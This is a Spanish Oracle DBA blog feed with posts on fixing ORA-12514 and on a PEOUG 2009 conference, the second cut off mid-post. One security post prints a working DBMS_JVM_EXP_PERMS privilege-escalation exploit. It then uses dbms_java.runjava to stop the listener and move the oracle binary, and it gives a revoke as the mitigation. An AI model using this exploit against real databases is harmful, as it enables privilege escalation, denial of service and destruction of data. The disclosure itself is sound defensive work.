<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>Snapshot Too Old</title><link>http://blog.e-dba.biz/</link><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/SnapshotTooOld" /><description>El Blog sobre Oracle con trucos, how-to's y recomendaciones para los novatos y los entendidos.</description><language>en</language><managingEditor>noreply@blogger.com (Enrique Orbegozo)</managingEditor><lastBuildDate>Thu, 16 Feb 2012 06:58:47 PST</lastBuildDate><generator>Blogger</generator><atom:id xmlns:atom="http://www.w3.org/2005/Atom">tag:blogger.com,1999:blog-2932987194307539277</atom:id><openSearch:totalResults xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">32</openSearch:totalResults><openSearch:startIndex xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">1</openSearch:startIndex><openSearch:itemsPerPage xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/">25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/SnapshotTooOld" /><feedburner:info uri="snapshottooold" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>SnapshotTooOld</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item><title>Registro dinámico de servicios y ora-12514</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/OeTPZVhJvoU/dynamic-service-registration-ora-12514.html</link><category>Connectivity</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Fri, 02 Apr 2010 15:32:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-4803948006643698234</guid><description>&lt;div&gt;En algunas ocasiones he sido consultado sobre problemas de conectividad que se presentan sin previo aviso y vienen acompañados del mensaje de error &lt;i&gt;&lt;b&gt;ORA-12514: TNS:listener does not currently know of service requested in connect descriptor&lt;/b&gt;&lt;/i&gt;. Hay quienes indican que extrañamente la comunicación era perfecta poco antes y que ya han revisado los archivos de configuración como el &lt;b&gt;listener.ora&lt;/b&gt; y el &lt;b&gt;tnsnames.ora&lt;/b&gt; y que todo se ve bien pero aún así no logran establecer nuevas conexiones. Un detalle adicional es que todos estos casos tienen el común denominador de que el puerto en uso &lt;b&gt;no es el usual 1521&lt;/b&gt; sino algún otro. Considerando este escenario pre-determinado, síganme para ver lo simple que puede ser resolver este problema.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Conceptos previos&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;El background process &lt;b&gt;PMON&lt;/b&gt; se encarga de registrar dinámicamente con el listener los servicios disponibles en una base de datos, lo cual se conoce como &lt;b&gt;registro dinámico de servicios&lt;/b&gt;. Ahora bien, hay que tener en cuenta que &lt;b&gt;por defecto&lt;/b&gt; las bases de datos Oracle registran sus servicios con el &lt;b&gt;listener&lt;/b&gt; asumiendo que éste está atendiendo por el puerto &lt;b&gt;1521&lt;/b&gt;, si se usa un puerto &lt;b&gt;distinto&lt;/b&gt; a éste se requiere de medidas adicionales para permitir que PMON sepa dónde registrar los servicios de la base de datos o no lo logrará hacer y caeremos en el error &lt;i&gt;ORA-12514&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Solución&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1. &lt;/span&gt;No es inusual que se configure un puerto distinto al 1521, hay varias razones para ello pero principalmente se hace como &lt;b&gt;medida de seguridad&lt;/b&gt; adicional para prevenir ataques que aprovechan justamente que la &lt;b&gt;gran mayoría&lt;/b&gt; deja su listener configurado con el puerto por defecto 1521, de allí que cambiarlo sea &lt;b&gt;altamente recomendado&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Veamos primeramente un listener modificado (listener.ora):&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = &lt;i&gt;caliope&lt;/i&gt;)(PORT = &lt;i&gt;15402&lt;/i&gt;))
    )
  )
&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2. &lt;/span&gt;Esto se debe complementar con la configuración del parámetro &lt;b&gt;local_listener&lt;/b&gt;, para lo cual tenemos dos posibilidades, una primera en la que colocamos los datos explícitamente:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SQL&amp;gt; alter system set local_listener=&amp;quot;(address=(protocol=TCP)(host=&lt;i&gt;caliope&lt;/i&gt;)(port=&lt;i&gt;15402&lt;/i&gt;))&amp;quot;;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;O una segunda, en que se usa una cadena de conexión que se puede resolver mediante la consulta al archivo &lt;b&gt;tnsnames.ora&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SQL&amp;gt; alter system set local_listener=listener_bd;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;El alias &lt;i&gt;listener_bd&lt;/i&gt; debe existir localmente, como se observa a continuación (tnsnames.ora):&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;LISTENER_BD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = &lt;i&gt;caliope&lt;/i&gt;)(PORT = &lt;i&gt;15402&lt;/i&gt;))
  )
&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3. &lt;/span&gt;Con esto solo nos resta verificar que la conectividad está efectivamente operativa, para lo cual consideramos la siguiente cadena de conexión (tnsnames.ora):&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;BD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = &lt;i&gt;caliope&lt;/i&gt;)(PORT = &lt;i&gt;15402&lt;/i&gt;))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = bd)
    )
  )&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Misma que probamos con SQL*Plus&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope ~]$ sqlplus system/oracle@bd

SQL*Plus: Release 11.1.0.7.0 - Production on Thu Apr 1 15:19:17 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SYSTEM@bd &amp;gt;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¡Todo funcionó a la perfección!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Conclusión&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;¿Qué les pareció? ¿No está complicado verdad?, pero les sorprendería saber cuántos no siguen estas consideraciones y luego de crear listeneres adicionales, observan que se interrumpen las nuevas conexiones luego de detener el listener que usa el puerto 1521 y se pregunta el por qué, si se supone que esas bases de datos usan otros puertos en otros listeners; bueno, ahora ya lo saben, así que: ¡a corregir se ha dicho!&lt;/div&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-4803948006643698234?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/OeTPZVhJvoU" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2010-09-14T14:34:06.421-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total><feedburner:origLink>http://blog.e-dba.biz/2010/04/dynamic-service-registration-ora-12514.html</feedburner:origLink></item><item><title>Peligro inminente, ¡Dios nos coja confesados!</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/BbL04SfCIsU/peligro-inminente-dios-nos-coja.html</link><category>Security</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Sat, 06 Feb 2010 21:14:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-5777274909641193724</guid><description>&lt;div&gt;Para los que aún no están enterados, se ha hecho pública una vulnerabilidad muy seria para quienes están trabajando con Oracle 10g o superior. Esta vulnerabilidad permite que un usuario con el mínimo privilegio de crear una sesión pueda tener acceso irrestricto a los archivos del servidor en el cual se está ejecutando la base de datos Oracle. Si quieren saber a qué nos estamos enfrentando a continuación les muestro lo fácil que es ganar estos privilegios, y lo dañino que puede resultar en manos inescrupulosas.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Volviéndose todopoderoso&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1. &lt;/span&gt;Primero preparemos el ambiente, creamos un usuario y le dejamos crear sesiones.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


SYS@orcl &gt; create user test identified by test;

User created.

SYS@orcl &gt; grant create session to test;

Grant succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2. &lt;/span&gt;Ahora es cuestión de ejecutar el siguiente código.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl &gt; DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '&amp;lt;&amp;lt;ALL FILES&amp;gt;&amp;gt;', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

PL/SQL procedure successfully completed.

TEST@orcl &gt; exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3. &lt;/span&gt;Gracias al package &lt;b&gt;DBMS_JVM_EXP_PERMS&lt;/b&gt;, el cual tiene permisos de ejecución para PUBLIC, se ha logrado obtener acceso irrestricto a los archivos, tanto de lectura, escritura como de ejecución. Nuevamente nuestros amigos de Java metiéndonos en problemas, jajaja, pero ya bromas aparte, empecemos por un ataque relativamente benigno como detener el listener, lo que sería una forma relativamente simple de lo que es conocido como un ataque del tipo &lt;b&gt;DoS&lt;/b&gt; (Denial of Service).&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
oracle    7505     1  0 17:45 ?        00:00:00 /u01/app/oracle/11.1.0/db_1/bin/tnslsnr LISTENER -inherit

[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:50:29 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


TEST@orcl &gt; select dbms_java.runjava('oracle/aurora/util/Wrapper /u01/app/oracle/11.1.0/db_1/bin/lsnrctl stop') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/U01/APP/ORACLE/11.1.0/DB_1/BIN/LSNRCTLSTOP')
----------------------------------------------------------------------------------------------------


TEST@orcl &gt; exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
[oracle@rhel ~]$&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Con esta acción se está impidiendo la creación de nuevas sesiones al no haber listener que las cree, lo que en la práctica significa que la base de datos ha pasado a estar parcialmente operativa.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;4. &lt;/span&gt;Desde luego se pueden hacer cosas perores, veamos ahora una acción mucho más destructiva, moveremos de sitio al ejecutable oracle pero bien podría ser su eliminación o la de todo el directorio en el que está instalado Oracle, los datafiles, etc., no hay límites al daño que se puede causar!!!&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /u01/app/oracle/11.1.0/db_1/bin/oracle
[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:58:45 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl &gt; select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /u01/app/oracle/11.1.0/db_1/bin/oracle /tmp/.') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/BIN/MV/U01/APP/ORACLE/11.1.0/DB_1/BIN/ORACLE/TMP/.')
----------------------------------------------------------------------------------------------------


TEST@orcl &gt; exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
ls: /u01/app/oracle/11.1.0/db_1/bin/oracle: &lt;span style="color: red; font-weight:bold;"&gt;No such file or directory&lt;/span&gt;

[oracle@rhel ~]$ ls -la /tmp/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /tmp/oracle&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Si nos quedaban dudas, a estas alturas creo que ya estamos convencidos que estamos ante un problema bastante serio. ¿Qué hacer? Por el momento no hay mayor alternativa que retirar los privilegios públicos de ejecución del paquete DBMS_JVM_EXP_PERMS, lo que impediría obtener amplios privilegios al invocarlo.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

SYS@orcl &gt; revoke execute on DBMS_JVM_EXP_PERMS from public;

Revoke succeeded.

SYS@orcl &gt; connect test/test
Connected.
TEST@orcl &gt; DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '&amp;lt;&amp;lt;ALL FILES&amp;gt;&amp;gt;', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

ERROR at line 2:
ORA-06550: line 2, column 13:
PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared
ORA-06550: line 2, column 13:
PL/SQL: Item ignored
ORA-06550: line 9, column 39:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 9, column 7:
PL/SQL: SQL Statement ignored
ORA-06550: line 11, column 43:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 11, column 6:
PL/SQL: Statement ignored&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Retirar el privilegio de PUBLIC es una alternativa radical que amerita la realización de pruebas extensas de funcionalidad por cuanto es posible que al retirar este privilegio algo por allí deje de funcionar, es un riesgo que siempre se corre pero no nos quedan muchas alternativas que digamos, mientras tanto habrá que esperar a que Oracle libere algún patch específico a la brevedad, porque esperar al próximo &lt;b&gt;CPU&lt;/b&gt;, en Abril de 2010, dejaría bastante tiempo disponible para eventuales ataques, así que a tomar medidas preventivas se ha dicho!!!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: red; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Update &lt;/span&gt;&lt;div&gt;(Feb 10,2010)&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Mi buen amigo Ronald Vargas nos comenta en una &lt;a href="http://oracledbacr.blogspot.com/2010/02/exposicion-de-seguridad-en-el-rdbms.html"&gt;entrada reciente&lt;/a&gt; que: &lt;i&gt;"...Los problemas de seguridad a los que se hacen referencia en el documento de Enrique, para poder ser explotadas, el usuario debe tener acceso a nivel de sistema operativo a la herramienta SQL*Plus en el servidor, ya que el ejecutar un comando, requiere de privilegios administrativos, a los cuáles no puedes accesar, sino estas logeado localmente, ya sea en la consola del servidor o a través de un utilitario o emulador de ambiente gráfico de Windows ó Linux, o un utilitario de acceso de terminal remota..."&lt;/i&gt;. Ronald concluye su Post con: &lt;i&gt;"...Así que como les dije al principio, "que no panda el cúnico", no hay mucho de que alarmarnos..."&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Sobre el particular, Ronald estaría tomando como referencia lo indicado en &lt;a href="http://www.h-online.com/security/news/item/Vulnerability-in-Oracle-11gR2-allows-system-privileges-for-all-Update-923143.html"&gt;The H Security&lt;/a&gt;, pero al menos en mis pruebas personales no ha sido necesario estar conectado directamente en el servidor de base de datos para explotar este problema, logré reproducirlo conectado remotamente desde una estación con Windows Vista usando un cliente Oracle 11.1.0.7 y un usuario que solamente tiene el privilegio &lt;i&gt;create session&lt;/i&gt;:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;&lt;b&gt;Linux:&lt;/b&gt;
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/afiedt.buf

&lt;b&gt;Windows&lt;/b&gt;
C:\Windows\system32&gt;sqlplus test/test@orcl

SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 10 10:50:56 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

TEST@orcl &gt; select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /home/oracle/afiedt.buf /home/oracle/afiedt.BUF') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPP
-------------------------------------------


TEST@orcl &gt; exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

&lt;b&gt;Linux:&lt;/b&gt;
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/&lt;span style="color: red; font-weight:bold;"&gt;afiedt.BUF&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Asi que el peligro sigue siendo &lt;b&gt;real&lt;/b&gt; y su explotación bastante simple, tomen sus precauciones!&lt;/div&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-5777274909641193724?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/BbL04SfCIsU" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2010-02-10T11:11:12.008-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://blog.e-dba.biz/2010/02/peligro-inminente-dios-nos-coja.html</feedburner:origLink></item><item><title>Presentación en el PEOUG Day 2009</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/a6j51TovtB8/presentacion-en-el-peoug-day-2009.html</link><category>presentación</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Thu, 19 Nov 2009 16:30:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-5397281326781649444</guid><description>&lt;div&gt;El tiempo sí que vuela!, han pasado ya varias semanas sin actualizar el Blog producto de que las consultorías me vienen teniendo ocupado gran parte del día y lo que me quedaba libre lo he estado dedicando a la preparación de mi presentación para el &lt;a href="http://www.peoug.org/evento-peoug-day-2009/"&gt;PEOUG Day 2009&lt;/a&gt; que finalmente se llevó a cabo ayer.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;Mi participación en este evento fue gracias a la invitación de &lt;b&gt;Miguel Palacios&lt;/b&gt;, presidente del &lt;a href="http://www.peoug.org/"&gt;PEOUG&lt;/a&gt; y flamante &lt;a href="http://apex.oracle.com/pls/otn/f?p=19297:4:3025273762028925::NO:4:P4_ID:860"&gt;Oracle ACE&lt;/a&gt;. Aún cuando tenía el tiempo bastante ajustado decidí aceptar el reto, y es que si bien la presentación duraba una hora -lo cual puede parecer poco tiempo para el público oyente- para el expositor usualmente representa una gran cantidad de horas a invertir en la elaboración del material visual a presentar, lo bueno es que este es el costo inicial y luego de esto el material queda y se puede utilizar para futuras presentaciones.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;El día del evento salí de casa más temprano de lo habitual, pero igual me topé con un tráfico brutal, cortesía de las chicas del &lt;i&gt;Escuadrón Fénix&lt;/i&gt;, que saben tanto del control del tráfico como yo de Informix, pero pese a que hicieron su mejor esfuerzo (mejor suerte para la próxima, chicas &lt;img src="http://lh5.ggpht.com/_13OOTtHDdJc/SwXMFBSzZKI/AAAAAAAAAl8/vkS6z69aThw/tongue_smile.gif"/&gt;) alcancé a llegar justo cuando Miguel arrancaba con las palabras de bienvenida y acto seguido &lt;b&gt;Tom Kyte&lt;/b&gt; presentó su Keynote "&lt;b&gt;The Best Way&lt;/b&gt;". La sala estaba totalmente llena, cientos de personas escuchaban con gran atención las palabras de este personaje casi mítico en el mundo Oracle. Una hora después Tom había concluido su impecable presentación entre los aplausos de los asistentes, entre ellos los míos desde luego, que me cuento entre sus más fervientes seguidores &lt;img src="http://lh6.ggpht.com/_13OOTtHDdJc/SwXLVDLYZTI/AAAAAAAAAl0/sakuyoii9D0/nerd.gif"/&gt;. La moraleja de su presentación es que no hay tal cosa como "&lt;b&gt;la mejor forma de ...&lt;/b&gt;.", pues al final todo depende de lo que estas pretendiendo hacer.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SwalCRLvKBI/AAAAAAAAAmM/rJxfjqIJSno/s1600/peoug.tk.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SwalCRLvKBI/AAAAAAAAAmM/rJxfjqIJSno/s400/peoug.tk.jpg" width="313" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Faltaban un par de horas para mi presentación así que aproveché a conversar con viejos amigos, y con algunos ex-alumnos de los cursos de Oracle University, para luego encaminarme a la sala que me habían asignado. Entré y encontré ya iniciada la presentación de &lt;a href="http://oracleradio.blogspot.com/"&gt;Juan Camilo Ruiz&lt;/a&gt; titulada "&lt;b&gt;Become Fusion Developer with no Java&lt;/b&gt;", y escuchándolo terminé de convencerme que Java no es lo mío, las cosas se han simplificado mucho pero aun no es tan fácil como Oracle Forms por ejemplo. Conforme se acercaba mi hora, aun mantenía la oculta esperanza de que concluida la charla de Juan Camilo la sala quedara vacía y mi público se quedaría reducido a un par de gatos (4 si contamos al camarógrafo y a la azafata), después de todo a esa misma hora &lt;a href="http://www.oracleenespanol.com/"&gt;Francisco Muñoz&lt;/a&gt; presentaba "&lt;b&gt;Oracle Database Advanced Security Options&lt;/b&gt;", así que cuando Juan Camilo se retiró y pasé a ocupar su lugar en el estrado, grande fue mi sorpresa al ver que la gente no solo no se iba sino que seguían entrando y hasta quedó un buen grupo de gente de pie, al fondo de la sala. Así que recurrí al infalible &lt;i&gt;Plan B&lt;/i&gt;: el viejo truco de quitarme las gafas y así aprovechar que, gracias a mi astigmatismo, solamente vería un público borroso y por tanto inofensivo &lt;img src="http://lh4.ggpht.com/_13OOTtHDdJc/SwXLUF-69EI/AAAAAAAAAlk/4wMKCQqoLqY/open_mouthed.gif"/&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Sin mayor preámbulo procedí a iniciar mi presentación titulada &lt;a href="http://sites.google.com/site/enriqueorbegozo/Home/archivos/PEOUG.2009.Enrique.Orbegozo.pptx"&gt;Malas prácticas de programación, impacto y solución&lt;/a&gt; (mismo que pueden descargar desde ya). Debo reconocer que el público asistente fue muy receptivo y conforme iba mostrando algunos ejemplos de la audacia y osadía a la que pueden llegar algunos de nuestros amigos programadores, los oyentes se mantuvieron atentos, percatándose y celebrando el sarcasmo que de cuando en cuando introducía, según yo de forma solapada. Ya hacia el final, la azafata me hacía señas para que terminara mi charla, pero lo cierto es que mi presentación no se inició a la hora pactada, por motivos ajenos a mi voluntad, y lo justo era que me concedieran la hora completa por lo que, aun cuando considero que la democracia no es perfecta, me aproveché de ella y consulté a los asistentes si deseaban retirarse, afortunadamente la gente votó mayoritariamente porque la sesión siga y como &lt;i&gt;vox populi, vox dei&lt;/i&gt;, seguimos adelante y pocos minutos después todo había concluido satisfactoriamente. En suma, creo que ambos, el auditorio y yo, salimos más contentos que cuando entramos, lo cual es ya un logro nada despreciable, salvo mejor opinión.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_13OOTtHDdJc/Swaig0syNbI/AAAAAAAAAmI/Zkhq9GckRVc/s1600/peoug.eo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://1.bp.blogspot.com/_13OOTtHDdJc/Swaig0syNbI/AAAAAAAAAmI/Zkhq9GckRVc/s400/peoug.eo.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Luego de almorzar algo a la volada, continué con el evento y asistí a la presentación de Miguel Palacios titulada "&lt;b&gt;Implementando Oracle Streams&lt;/b&gt;", para luego regresar nuevamente con Tom Kyte y "&lt;b&gt;All about metadata&lt;/b&gt;". Conforme escuchaba a Tom desarrollar el tema, aumentaba mi duda de si no se estaría refiriendo a un cliente mío, &lt;i&gt;Acme Corporation&lt;/i&gt;, que estaba pasando por los mismos problemas: no uso de integridad referencial, no uso del constraint &lt;i&gt;not null&lt;/i&gt;, almacenamiento de fechas como &lt;i&gt;number&lt;/i&gt; y no como &lt;i&gt;date&lt;/i&gt;, etc., menos mal ya están revirtiendo esta forma de trabajo, pues tal como demostrara Tom con algunos ejemplos muy representativos, carecer de constraints limita seriamente al optimizador y por tanto no solo la integridad de los datos está en juego sino también el desempeño de las aplicaciones.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;A continuación asistí a la presentación de Francisco Muñoz, "&lt;b&gt;Logging or nologging&lt;/b&gt;" y finalmente al Keynote "&lt;b&gt;Top 10, no 11, new features of Oracle database 11gR2&lt;/b&gt;" a cargo de Tom Kyte. Luego, el cierre del evento, un brindis, algunos sorteos y como quien no quiere la cosa le pedí a Tom Kyte que autografiara una copia (no era pirata desde luego) de su libro "&lt;b&gt;Expert Oracle&lt;/b&gt;", mismo que estoy ahora subastando en eBay, ¿qué? ¿de verdad creyeron eso?, como lo voy a subastar pues, lo tengo bien guardadito en mi mesa de noche, justo encima de la Biblia, jajaja.&lt;/div&gt;&lt;br /&gt;
